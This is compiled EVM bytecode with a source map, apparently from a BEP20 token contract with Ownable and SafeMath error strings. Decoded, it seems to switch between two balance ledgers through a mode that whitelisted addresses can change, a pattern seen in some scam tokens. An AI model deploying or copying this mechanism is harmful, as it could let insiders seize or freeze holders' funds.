a01b03168152602081019190915260400160002054919063ffffffff610ec816565b610bc8565b5060015b9392505050565b60085460ff1690565b60085460ff1681565b600082600114806108085750826002145b61081157600080fd5b826001141561083c57506001600160a01b03811660009081526004602052604090205460ff1661049b565b826002141561049b57506001600160a01b03811660009081526005602052604090205460ff1661049b565b6001600160a01b03166000908152600260209081526040808320546001909252909120540190565b610897610bc4565b6000546001600160a01b039081169116146108f9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061094d610952565b905090565b6000546001600160a01b031690565b60098054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156104795780601f1061044e57610100808354040283529160200191610479565b60006104976109cf610bc4565b8484610cb4565b6009805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a5c5780601f10610a3157610100808354040283529160200191610a5c565b820191906000526020600020905b815481529060010190602001808311610a3f57829003601f168201915b505050505081565b60008360011415610a8e57506001600160a01b0382166000908152600160205260409020546107de565b8360021415610ab657506001600160a01b0382166000908152600260205260409020546107de565b83600314156107de57506006546107de565b600a805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610a5c5780601f10610a3157610100808354040283529160200191610a5c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610b56610bc4565b6000546001600160a01b03908116911614610bb8576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610bc181610f5f565b50565b3390565b6001600160a01b038316610c0d5760405162461bcd60e51b815260040180806020018281038252602481526020018061107f6024913960400191505060405180910390fd5b6001600160a01b038216610c525760405162461bcd60e51b815260040180806020018281038252602281526020018061113a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610cf95760405162461bcd60e51b815260040180806020018281038252602581526020018061105a6025913960400191505060405180910390fd5b6001600160a01b038216610d3e5760405162461bcd60e51b81526004018080602001828103825260238152602001806111176023913960400191505060405180910390fd5b60065460011415610ddb57610d8c816040518060600160405280602681526020016110f1602691396001600160a01b038616600090815260016020526040902054919063ffffffff610ec816565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610dc1908263ffffffff610fff16565b6001600160a01b0383166000908152600160205260409020555b60065460021415610e7857610e29816040518060600160405280602681526020016110f1602691396001600160a01b038616600090815260026020526040902054919063ffffffff610ec816565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610e5e908263ffffffff610fff16565b6001600160a01b0383166000908152600260205260409020555b816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008184841115610f575760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f1c578181015183820152602001610f04565b50505050905090810190601f168015610f495780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038116610fa45760405162461bcd60e51b81526004018080602001828103825260268152602001806110a36026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000828201838110156107de576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737342455032303a20617070726f76652066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737342455032303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737342455032303a20617070726f766520746f20746865207a65726f2061646472657373a265627a7a72315820d225c8f899a4e8476d47a120be604d41c0c51b8ffe3963f97e362c2430e77a6964736f6c63430005100032

12227:7258:0:-;;;;8:9:-1;5:2;;;30:1;27;20:12;5:2;12227:7258:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13432:85;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;13432:85:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14625:154;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;14625:154:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;16408:981;;;;;;13:3:-1;8;5:12;2:2;;;30:1;27;20:12;2:2;-1:-1;16408:981:0;;;-1:-1:-1;;;;;16408:981:0;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;13581:93;;;:::i;:::-;;;;;;;;;;;;;;;;15250:439;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;15250:439:0;;;;;;;;;;;;;;;;;:::i;13130:85::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;12638:22;;;:::i;16089:311::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;16089:311:0;;;;;;-1:-1:-1;;;;;16089:311:0;;:::i;13736:123::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;13736:123:0;-1:-1:-1;;;;;13736:123:0;;:::i;11444:140::-;;;:::i;12978:85::-;;;:::i;:::-;;;;-1:-1:-1;;;;;12978:85:0;;;;;;;;;;;;;;10802:79;;;:::i;13280:89::-;;;:::i;14071:185::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;14071:185:0;;;;;;;;:::i;12667:21::-;;;:::i;15709:360::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;15709:360:0;;;-1:-1:-1;;;;;15709:360:0;;;;;;;;;;;;:::i;12695:19::-;;;:::i;14318:161::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;;;;;;14318:161:0;;;;;;;;;;:::i;11739:109::-;;;;;;13:2:-1;8:3;5:11;2:2;;;29:1;26;19:12;2:2;-1:-1;11739:109:0;-1:-1:-1;;;;;11739:109:0;;:::i;13432:85::-;13504:5;13497:12;;;;;;;;-1:-1:-1;;13497:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13471:13;;13497:12;;13504:5;;13497:12;;13504:5;13497:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13432:85;:::o;14625:154::-;14693:4;14710:39;14719:12;:10;:12::i;:::-;14733:7;14742:6;14710:8;:39::i;:::-;-1:-1:-1;14767:4:0;14625:154;;;;;:::o;16408:981::-;16579:7;16590:1;16579:12;16575:114;;;16621:10;16616:16;;;;:4;:16;;;;;;;;16608:33;;;;;-1:-1:-1;;;16608:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;16608:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16656:11:0;;;;;;:4;:11;;;;;:21;;-1:-1:-1;;16656:21:0;;;;;;;16575:114;16705:7;16716:1;16705:12;16701:114;;;16747:10;16742:16;;;;:4;:16;;;;;;;;16734:33;;;;;-1:-1:-1;;;16734:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;16734:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16782:11:0;;;;;;:4;:11;;;;;:21;;-1:-1:-1;;16782:21:0;;;;;;;16701:114;16831:7;16842:1;16831:12;16827:434;;;16864:8;16876:1;16864:13;16860:187;;;16911:10;16906:16;;;;:4;:16;;;;;;;;16898:33;;;;;-1:-1:-1;;;16898:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;16898:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;16950:11:0;;;;;;:4;:11;;;;;;;;:21;;;16995:36;;;;;;;;;;;;;;;;;;16860:187;17067:8;17079:1;17067:13;17063:187;;;17114:10;17109:16;;;;:4;:16;;;;;;;;17101:33;;;;;-1:-1:-1;;;17101:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;17101:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;;;17153:11:0;;;;;;:4;:11;;;;;;;;:21;;;17198:36;;;;;;;;;;;;;;;;;;17063:187;17277:7;17288:1;17277:12;17273:109;;;17319:10;17314:16;;;;:4;:16;;;;;;;;17306:33;;;;;-1:-1:-1;;;17306:33:0;;;;;;;;;;;;;;;-1:-1:-1;;;17306:33:0;;;;;;;;;;;;;;;17354:5;:16;;;17273:109;16408:981;;;;;:::o;13581:93::-;13654:12;;13581:93;:::o;15250:439::-;15375:4;15392:36;15402:6;15410:9;15421:6;15392:9;:36::i;:::-;15439:220;15462:6;15483:12;:10;:12::i;:::-;15510:138;15566:6;15510:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15510:19:0;;;;;;:11;:19;;;;;;15530:12;:10;:12::i;:::-;-1:-1:-1;;;;;15510:33:0;;;;;;;;;;;;-1:-1:-1;15510:33:0;;;:138;;:37;:138;:::i;:::-;15439:8;:220::i;:::-;-1:-1:-1;15677:4:0;15250:439;;;;;;:::o;13130:85::-;13198:9;;;;13130:85;:::o;12638:22::-;;;;;;:::o;16089:311::-;16190:4;16215:7;16226:1;16215:12;:28;;;;16231:7;16242:1;16231:12;16215:28;16207:37;;;;;;16259:7;16270:1;16259:12;16255:63;;;-1:-1:-1;;;;;;16295:11:0;;;;;;:4;:11;;;;;;;;16288:18;;16255:63;16334:7;16345:1;16334:12;16330:63;;;-1:-1:-1;;;;;;16370:11:0;;;;;;:4;:11;;;;;;;;16363:18;;13736:123;-1:-1:-1;;;;;13838:13:0;13795:7;13838:13;;;:4;:13;;;;;;;;;13822:4;:13;;;;;;;:29;;13736:123::o;11444:140::-;11024:12;:10;:12::i;:::-;11014:6;;-1:-1:-1;;;;;11014:6:0;;;:22;;;11006:67;;;;;-1:-1:-1;;;11006:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11543:1;11527:6;;11506:40;;-1:-1:-1;;;;;11527:6:0;;;;11506:40;;11543:1;;11506:40;11574:1;11557:19;;-1:-1:-1;;;;;;11557:19:0;;;11444:140::o;12978:85::-;13021:7;13048;:5;:7::i;:::-;13041:14;;12978:85;:::o;10802:79::-;10840:7;10867:6;-1:-1:-1;;;;;10867:6:0;10802:79;:::o;13280:89::-;13354:7;13347:14;;;;;;;;-1:-1:-1;;13347:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13321:13;;13347:14;;13354:7;;13347:14;;13354:7;13347:14;;;;;;;;;;;;;;;;;;;;;;;;14071:185;14167:4;14184:42;14194:12;:10;:12::i;:::-;14208:9;14219:6;14184:9;:42::i;12667:21::-;;;;;;;;;;;;;;;-1:-1:-1;;12667:21:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;15709:360::-;15835:7;15859;15870:1;15859:12;15855:63;;;-1:-1:-1;;;;;;15895:11:0;;;;;;:4;:11;;;;;;15888:18;;15855:63;15934:7;15945:1;15934:12;15930:63;;;-1:-1:-1;;;;;;15970:11:0;;;;;;:4;:11;;;;;;15963:18;;15930:63;16009:7;16020:1;16009:12;16005:57;;;-1:-1:-1;16045:5:0;;16038:12;;12695:19;;;;;;;;;;;;;;;-1:-1:-1;;12695:19:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14318:161;-1:-1:-1;;;;;14444:18:0;;;14417:7;14444:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14318:161::o;11739:109::-;11024:12;:10;:12::i;:::-;11014:6;;-1:-1:-1;;;;;11014:6:0;;;:22;;;11006:67;;;;;-1:-1:-1;;;11006:67:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11812:28;11831:8;11812:18;:28::i;:::-;11739:109;:::o;4018:98::-;4098:10;4018:98;:::o;19144:338::-;-1:-1:-1;;;;;19238:19:0;;19230:68;;;;-1:-1:-1;;;19230:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19317:21:0;;19309:68;;;;-1:-1:-1;;;19309:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;19390:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;19442:32;;;;;;;;;;;;;;;;;19144:338;;;:::o;17879:825::-;-1:-1:-1;;;;;18011:20:0;;18003:70;;;;-1:-1:-1;;;18003:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18092:23:0;;18084:71;;;;-1:-1:-1;;;18084:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18172:5;;18181:1;18172:10;18168:233;;;18214:115;18249:6;18214:115;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18214:12:0;;;;;;:4;:12;;;;;;;:115;;:16;:115;:::i;:::-;-1:-1:-1;;;;;18199:12:0;;;;;;;:4;:12;;;;;;:130;;;;18362:15;;;;;;;:27;;18382:6;18362:27;:19;:27;:::i;:::-;-1:-1:-1;;;;;18344:15:0;;;;;;:4;:15;;;;;:45;18168:233;18415:5;;18424:1;18415:10;18411:233;;;18457:115;18492:6;18457:115;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;18457:12:0;;;;;;:4;:12;;;;;;;:115;;:16;:115;:::i;:::-;-1:-1:-1;;;;;18442:12:0;;;;;;;:4;:12;;;;;;:130;;;;18605:15;;;;;;;:27;;18625:6;18605:27;:19;:27;:::i;:::-;-1:-1:-1;;;;;18587:15:0;;;;;;:4;:15;;;;;:45;18411:233;18678:9;-1:-1:-1;;;;;18661:35:0;18670:6;-1:-1:-1;;;;;18661:35:0;;18689:6;18661:35;;;;;;;;;;;;;;;;;;17879:825;;;:::o;6084:226::-;6204:7;6240:12;6232:6;;;;6224:29;;;;-1:-1:-1;;;6224:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;6224:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;6276:5:0;;;6084:226::o;11954:266::-;-1:-1:-1;;;;;12042:22:0;;12020:110;;;;-1:-1:-1;;;12020:110:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12167:6;;;12146:38;;-1:-1:-1;;;;;12146:38:0;;;;12167:6;;;12146:38;;;12195:6;:17;;-1:-1:-1;;;;;;12195:17:0;-1:-1:-1;;;;;12195:17:0;;;;;;;;;;11954:266::o;5197:181::-;5255:7;5287:5;;;5311:6;;;;5303:46;;;;;-1:-1:-1;;;5303:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;

bzzr://d225c8f899a4e8476d47a120be604d41c0c51b8ffe3963f97e362c2430e77a69